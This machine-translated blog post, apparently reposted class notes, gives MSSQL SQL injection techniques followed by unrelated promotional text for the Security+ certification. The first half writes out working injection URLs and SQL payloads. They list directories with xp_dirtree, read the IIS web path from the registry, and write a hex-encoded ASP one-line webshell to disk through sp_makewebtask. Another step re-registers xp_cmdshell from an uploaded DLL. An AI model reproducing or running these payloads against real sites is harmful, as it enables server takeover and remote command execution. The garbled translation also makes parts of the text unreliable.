"Safe Cow Study notes" MSSQLL inject the best way to get a website path

Source: Internet
Author: User

EXEC master. Xp_dirtree ' D:/test '

Suppose we have two folders in Test Test1 and Test2 have test3 in Test1.
Results show
subdirectory depth
Test1 1
Test3 2
Test2 1
Haha found no that depth is the series of the catalogue
OK, you know what to do.
Http://www.xxxxx.com/down/list.asp?id=1;create table dirs (Paths varchar (), ID int)--
Http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree ' d:\ '--
Http://www.xxxxx.com/down/list.asp?id=1 and 0<> (select top 1 paths from dirs where id=1)-
Just add id=1, which is the first level of the directory.
Read the Web site path through the registry:
1.;create table [dbo]. [CYFD] ([Gyfd][char] (255));
2.DECLARE @result varchar (255) EXEC Master.dbo.xp_regread ' HKEY_LOCAL_MACHINE ', ' System\controlset001\services\w3svc \parameters\virtual Roots ', '/', @result output insert into temporary table (temporary field name) values (@result);--
Id=2;declare @result varchar (255) EXEC Master.dbo.xp_regread ' HKEY_LOCAL_MACHINE ', ' system\controlset001\services\ W3svc\parameters\virtual Roots ', '/', @result output insert into CYFD (GYFD) values (@result);--
3.and 1= (SELECT COUNT (*) from temporary table where temporary field name >1)
and 1= (SELECT COUNT (*) from CYFD where GYFD > 1)
So IE error, the web path just inserted into the value of the report out
4.drop table cyfd;--Delete temp table
To obtain the Webshell method:
1.create table cmd (a image)--\**cmd is the temporary table created
2.insert into cmd (a) VALUES (0x3c25657865637574652872657175657374282261222929253eda)--insert a sentence into the cmd table
3.EXECUTE sp_makewebtask @outputfile = ' web absolute path \ exported filename. asp ', @query = ' SELECT image from Cmd '
EXECUTE sp_makewebtask @outputfile = ' web absolute path \ exported filename. asp ', @query = ' SELECT your field from the temporary table you built '
4.drop table cmd;--Delete cmd temp table
One of the recovery xp_cmdshell methods:
I quickly sent him the Xplog70.dll file to the E:\inetpub\wwwroot directory, come on, we'll give him a recovery, submit:
http://www.something.com/script.asp?id=2; EXEC master.dbo.sp_addextendedproc ' xp_cmdshell ', ' E:\inetpub\wwwroot\xplog70.dll '
Recovery, support for absolute path recovery oh. :)

This note is for safe Cattle class student notes, want to see this course or information security of dry goods can go to safe cattle classes

security+ Certification Why is the Internet + era of the most popular certification?


Manifesto first introduce you to security+


security+ certification is a neutral third-party certification, the issuing agency for the United States Computer Industry Association CompTIA, and CISSP, ITIL and other common inclusion of the international IT Industry 10 Popular certification, and CISSP emphasis on information security management, compared to security+ Authentication is more emphasis on information security technology and operations.

This certification demonstrates your ability to network security, compliance and operational security, threats and vulnerabilities, application, data and Host security, access control and identity management, and encryption technology. Because of its difficult examination difficulty, the gold content is high, has been widely adopted by global enterprises and security professionals.

Why is security+ certification so hot?

        Reason one: In all information security certification, the emphasis on information security technology certification is blank,  security+ certification can make up for the gap in the field of information security technology.

      currently recognized in the industry of information security certification mainly Cisp and CISSP, but whether cisp or CISSP are emphasis on information security management, technical knowledge is broad and simple, the exam is around. And CISSP require a certificate of information security work experience for more than 5 years, Cisp also require a college education 4 years of working experience, these requirements will undoubtedly be able and motivated young people of the road blocked. In the real world, whether it is looking for a job or a raise, or a tender time to report personnel, certification is essential, which brings a lot of injustice to young people. The emergence of security+ can clear these young people career development obstacles, because security+ emphasis on information security technology, so there is no special requirements for work experience. As long as you have an IT-related background, the pursuit of progress can be studied and tested.

        reason two:  it operation and maintenance personnel work and turn over the weapon.

        in the banking, securities, insurance, information and communications industries, IT operations personnel are very many, it operations involved in the face is also very wide. is a network, system, security, application architecture, storage as one integrated technology post. Although no program ape "born as a Bachelor, Die also write code," The solemn and tragic, but also has "Hoe wo Day Copse, as the operation of suffering" feeling. Every day to the computer and machine, the time has been inevitable for career development confusion and confusion. The advent of security+ international certification allows the pursuit of IT operations personnel to learn network security knowledge, to master network security practices. Career development in the direction of network security, to solve the problem of the shortage of information security personnel in China. In addition, even if not transformation, to do a good job in operation and maintenance, learning safety knowledge to obtain safety certification is also essential.

Reason three: grounding gas, international stylish, easy to test, moderate cost!

As the most influential global leader in the global ICT sector, CompTIA is professional, fair and impartial in the field of information security talent certification. Security+ certification is highly operational and closely related to the daily work of frontline engineers. Suitable for banks, securities, insurance, internet companies and other IT-related personnel learning. As an international certification in 147 countries around the world are widely recognized.

Under the current tide of information security, talent is the key to the development of information security. and the current domestic information security personnel is very scarce, I believe security+ certification will become the most popular information security certification.


This article is from the "11662938" blog, please be sure to keep this source http://11672938.blog.51cto.com/11662938/1977948

"Safe Cow Study notes" MSSQLL inject the best way to get a website path

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.